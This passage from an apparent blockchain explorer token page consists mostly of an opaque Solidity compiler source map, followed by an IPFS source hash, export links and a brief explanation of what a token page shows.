;;::::0;-1:-1:-1;14658:16:0::1;14634:40;;14703:4;14685;14690:1;14685:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;14685:23:0::1;;;-1:-1:-1::0;;;;;14685:23:0::1;;;::::0;::::1;14729:15;;;;;;;;;-1:-1:-1::0;;;;;14729:15:0::1;-1:-1:-1::0;;;;;14729:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14719:4;14724:1;14719:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14719:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;14794:15:::1;::::0;14762:62:::1;::::0;14779:4:::1;::::0;14794:15:::1;14812:11:::0;14762:8:::1;:62::i;:::-;14835:15;::::0;;:196:::1;::::0;-1:-1:-1;;;14835:196:0;;-1:-1:-1;;;;;14835:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;14916:11;;14835:15:::1;::::0;14958:4;;14985::::1;::::0;15005:15:::1;::::0;14835:196:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6506:6:0;:14;;-1:-1:-1;;6506:14:0;;;-1:-1:-1;;;;14562:477:0:o;10041:236::-;10097:14;10114:10;10123:1;10114:6;:10;:::i;:::-;10097:27;-1:-1:-1;10135:20:0;10158:15;10097:27;10158:6;:15;:::i;:::-;10184:16;;:39;;10135:38;;-1:-1:-1;;;;;;10184:16:0;;:39;;;;;10135:38;;10184:16;:39;:16;:39;10135:38;10184:16;:39;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10234:18:0;;:35;;-1:-1:-1;;;;;10234:18:0;;;;:35;;;;;10262:6;;10234:18;:35;:18;:35;10262:6;10234:18;:35;;;;;;;;;;;;;;;;;;;10513:280;10672:7;10667:27;;10681:13;:11;:13::i;:::-;10705:42;10721:6;10729:9;10740:6;10705:15;:42::i;:::-;10763:7;10758:27;;10772:13;9401:16;;9390:8;:27;9438:15;;9428:7;:25;9348:113;16725:164;16767:7;16788:15;16805;16824:19;:17;:19::i;:::-;16787:56;;-1:-1:-1;16787:56:0;-1:-1:-1;16861:20:0;16787:56;;16861:11;:20::i;:::-;16854:27;;;;16725:164;:::o;1510:132::-;1568:7;1595:39;1599:1;1602;1595:39;;;;;;;;;;;;;;;;;:3;:39::i;9126:214::-;9172:8;;:13;:29;;;;-1:-1:-1;9189:7:0;;:12;9172:29;9168:42;;;9126:214::o;9168:42::-;9241:8;;;9222:16;:27;9278:7;;;9260:15;:25;-1:-1:-1;9298:12:0;;;;9321:11;9126:214::o;10801:614::-;10946:15;10976:23;11014:12;11041:23;11079:12;11106:13;11133:19;11144:7;11133:10;:19::i;:::-;-1:-1:-1;;;;;11181:15:0;;;;;;:7;:15;;;;;;10931:221;;-1:-1:-1;10931:221:0;;-1:-1:-1;10931:221:0;;-1:-1:-1;10931:221:0;-1:-1:-1;10931:221:0;-1:-1:-1;10931:221:0;-1:-1:-1;11181:28:0;;10931:221;11181:19;:28::i;:::-;-1:-1:-1;;;;;11163:15:0;;;;;;;:7;:15;;;;;;:46;;;;11241:18;;;;;;;:39;;11264:15;11241:22;:39::i;:::-;-1:-1:-1;;;;;11220:18:0;;;;;;:7;:18;;;;;:60;11291:19;11304:5;11291:12;:19::i;:::-;11321:26;11336:4;11342;11321:14;:26::i;:::-;11380:9;-1:-1:-1;;;;;11363:44:0;11372:6;-1:-1:-1;;;;;11363:44:0;;11391:15;11363:44;;;;1644:25:1;;1632:2;1617:18;;1498:177;11363:44:0;;;;;;;;10920:495;;;;;;10801:614;;;:::o;16897:257::-;16995:7;;16948;;;;5298:21;17063:20;16995:7;5298:21;17063:11;:20::i;:::-;17053:7;:30;17049:61;;;-1:-1:-1;;17093:7:0;;;5298:21;;-1:-1:-1;16897:257:0;-1:-1:-1;16897:257:0:o;17049:61::-;17129:7;;17138;;-1:-1:-1;16897:257:0;-1:-1:-1;16897:257:0:o;1650:223::-;1770:7;1805:12;1798:5;1790:28;;;;-1:-1:-1;;;1790:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1829:9:0;1841:5;1845:1;1841;:5;:::i;15086:614::-;15186:7;15208;15230;15252;15274;15296;15332:23;15357:12;15371:13;15401:39;15413:7;15422:8;;15432:7;;15401:11;:39::i;:::-;15331:109;;;;;;15451:19;15473:10;:8;:10::i;:::-;15451:32;;15495:15;15512:23;15537:12;15566:46;15578:7;15587:4;15593:5;15600:11;15566;:46::i;:::-;15494:118;;-1:-1:-1;15494:118:0;-1:-1:-1;15494:118:0;-1:-1:-1;15663:15:0;;-1:-1:-1;15680:4:0;;-1:-1:-1;15686:5:0;;-1:-1:-1;;;;;15086:614:0;;;;;;;:::o;880:136::-;938:7;965:43;969:1;972;965:43;;;;;;;;;;;;;;;;;:3;:43::i;693:179::-;751:7;;783:5;787:1;783;:5;:::i;:::-;771:17;;812:1;807;:6;;799:46;;;;-1:-1:-1;;;799:46:0;;11500:2:1;799:46:0;;;11482:21:1;11539:2;11519:18;;;11512:30;11578:29;11558:18;;;11551:57;11625:18;;799:46:0;11298:351:1;11423:214:0;11479:19;11501:10;:8;:10::i;:::-;11479:32;-1:-1:-1;11522:13:0;11538:22;:5;11479:32;11538:9;:22::i;:::-;11612:4;11596:22;;;;:7;:22;;;;;;11522:38;;-1:-1:-1;11596:33:0;;11522:38;11596:26;:33::i;:::-;11587:4;11571:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;11423:214:0:o;11645:150::-;11726:7;;:17;;11738:4;11726:11;:17::i;:::-;11716:7;:27;11767:10;;:20;;11782:4;11767:14;:20::i;:::-;11754:10;:33;-1:-1:-1;;11645:150:0:o;15708:467::-;15876:7;;;;15970:29;15995:3;15970:20;:7;15982;15970:11;:20::i;:::-;:24;;:29::i;:::-;15955:44;-1:-1:-1;16010:13:0;16026:28;16050:3;16026:19;:7;16038:6;16026:11;:19::i;:28::-;16010:44;-1:-1:-1;16065:23:0;16091:28;16010:44;16091:17;:7;16103:4;16091:11;:17::i;:::-;:21;;:28::i;:::-;16065:54;16155:4;;-1:-1:-1;16161:5:0;;-1:-1:-1;15708:467:0;;-1:-1:-1;;;;;15708:467:0:o;16183:534::-;16377:7;;;;16474:24;:7;16486:11;16474;:24::i;:::-;16456:42;-1:-1:-1;16509:12:0;16524:21;:4;16533:11;16524:8;:21::i;:::-;16509:36;-1:-1:-1;16556:13:0;16572:22;:5;16582:11;16572:9;:22::i;:::-;16556:38;-1:-1:-1;16605:23:0;16631:28;16556:38;16631:17;:7;16643:4;16631:11;:17::i;:28::-;16678:7;;;;-1:-1:-1;16704:4:0;;-1:-1:-1;16183:534:0;;-1:-1:-1;;;;;;;16183:534:0:o;1256:246::-;1314:7;1338:6;1334:47;;-1:-1:-1;1368:1:0;1361:8;;1334:47;1391:9;1403:5;1407:1;1403;:5;:::i;:::-;1391:17;-1:-1:-1;1436:1:0;1427:5;1431:1;1391:17;1427:5;:::i;:::-;:10;1419:56;;;;-1:-1:-1;;;1419:56:0;;12029:2:1;1419:56:0;;;12011:21:1;12068:2;12048:18;;;12041:30;12107:34;12087:18;;;12080:62;-1:-1:-1;;;12158:18:1;;;12151:31;12199:19;;1419:56:0;11827:397:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1680:456::-;1757:6;1765;1773;1826:2;1814:9;1805:7;1801:23;1797:32;1794:52;;;1842:1;1839;1832:12;1794:52;1881:9;1868:23;1900:31;1925:5;1900:31;:::i;:::-;1950:5;-1:-1:-1;2007:2:1;1992:18;;1979:32;2020:33;1979:32;2020:33;:::i;:::-;1680:456;;2072:7;;-1:-1:-1;;;2126:2:1;2111:18;;;;2098:32;;1680:456::o;2554:180::-;2613:6;2666:2;2654:9;2645:7;2641:23;2637:32;2634:52;;;2682:1;2679;2672:12;2634:52;-1:-1:-1;2705:23:1;;2554:180;-1:-1:-1;2554:180:1:o;2739:247::-;2798:6;2851:2;2839:9;2830:7;2826:23;2822:32;2819:52;;;2867:1;2864;2857:12;2819:52;2906:9;2893:23;2925:31;2950:5;2925:31;:::i;2991:160::-;3056:20;;3112:13;;3105:21;3095:32;;3085:60;;3141:1;3138;3131:12;3085:60;2991:160;;;:::o;3156:180::-;3212:6;3265:2;3253:9;3244:7;3240:23;3236:32;3233:52;;;3281:1;3278;3271:12;3233:52;3304:26;3320:9;3304:26;:::i;3549:689::-;3641:6;3649;3657;3710:2;3698:9;3689:7;3685:23;3681:32;3678:52;;;3726:1;3723;3716:12;3678:52;3766:9;3753:23;3795:18;3836:2;3828:6;3825:14;3822:34;;;3852:1;3849;3842:12;3822:34;3890:6;3879:9;3875:22;3865:32;;3935:7;3928:4;3924:2;3920:13;3916:27;3906:55;;3957:1;3954;3947:12;3906:55;3997:2;3984:16;4023:2;4015:6;4012:14;4009:34;;;4039:1;4036;4029:12;4009:34;4094:7;4087:4;4077:6;4074:1;4070:14;4066:2;4062:23;4058:34;4055:47;4052:67;;;4115:1;4112;4105:12;4052:67;4146:4;4138:13;;;;-1:-1:-1;4170:6:1;-1:-1:-1;4195:37:1;;4211:20;;;-1:-1:-1;4195:37:1;:::i;:::-;4185:47;;3549:689;;;;;:::o;4243:388::-;4311:6;4319;4372:2;4360:9;4351:7;4347:23;4343:32;4340:52;;;4388:1;4385;4378:12;4340:52;4427:9;4414:23;4446:31;4471:5;4446:31;:::i;:::-;4496:5;-1:-1:-1;4553:2:1;4538:18;;4525:32;4566:33;4525:32;4566:33;:::i;:::-;4618:7;4608:17;;;4243:388;;;;;:::o;4636:356::-;4838:2;4820:21;;;4857:18;;;4850:30;4916:34;4911:2;4896:18;;4889:62;4983:2;4968:18;;4636:356::o;4997:127::-;5058:10;5053:3;5049:20;5046:1;5039:31;5089:4;5086:1;5079:15;5113:4;5110:1;5103:15;5129:127;5190:10;5185:3;5181:20;5178:1;5171:31;5221:4;5218:1;5211:15;5245:4;5242:1;5235:15;5261:135;5300:3;-1:-1:-1;;5321:17:1;;5318:43;;;5341:18;;:::i;:::-;-1:-1:-1;5388:1:1;5377:13;;5261:135::o;8625:128::-;8665:3;8696:1;8692:6;8689:1;8686:13;8683:39;;;8702:18;;:::i;:::-;-1:-1:-1;8738:9:1;;8625:128::o;9162:125::-;9202:4;9230:1;9227;9224:8;9221:34;;;9235:18;;:::i;:::-;-1:-1:-1;9272:9:1;;9162:125::o;9835:251::-;9905:6;9958:2;9946:9;9937:7;9933:23;9929:32;9926:52;;;9974:1;9971;9964:12;9926:52;10006:9;10000:16;10025:31;10050:5;10025:31;:::i;10091:980::-;10353:4;10401:3;10390:9;10386:19;10432:6;10421:9;10414:25;10458:2;10496:6;10491:2;10480:9;10476:18;10469:34;10539:3;10534:2;10523:9;10519:18;10512:31;10563:6;10598;10592:13;10629:6;10621;10614:22;10667:3;10656:9;10652:19;10645:26;;10706:2;10698:6;10694:15;10680:29;;10727:1;10737:195;10751:6;10748:1;10745:13;10737:195;;;10816:13;;-1:-1:-1;;;;;10812:39:1;10800:52;;10907:15;;;;10872:12;;;;10848:1;10766:9;10737:195;;;-1:-1:-1;;;;;;;10988:32:1;;;;10983:2;10968:18;;10961:60;-1:-1:-1;;;11052:3:1;11037:19;11030:35;10949:3;10091:980;-1:-1:-1;;;10091:980:1:o;11076:217::-;11116:1;11142;11132:132;;11186:10;11181:3;11177:20;11174:1;11167:31;11221:4;11218:1;11211:15;11249:4;11246:1;11239:15;11132:132;-1:-1:-1;11278:9:1;;11076:217::o;11654:168::-;11694:7;11760:1;11756;11752:6;11748:14;11745:1;11742:21;11737:1;11730:9;11723:17;11719:45;11716:71;;;11767:18;;:::i;:::-;-1:-1:-1;11807:9:1;;11654:168::o

Swarm Source

ipfs://1929b9349d92f1750211fe96e6ee568c2e06b330ad53e5fe7efb4b93d34fd58c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.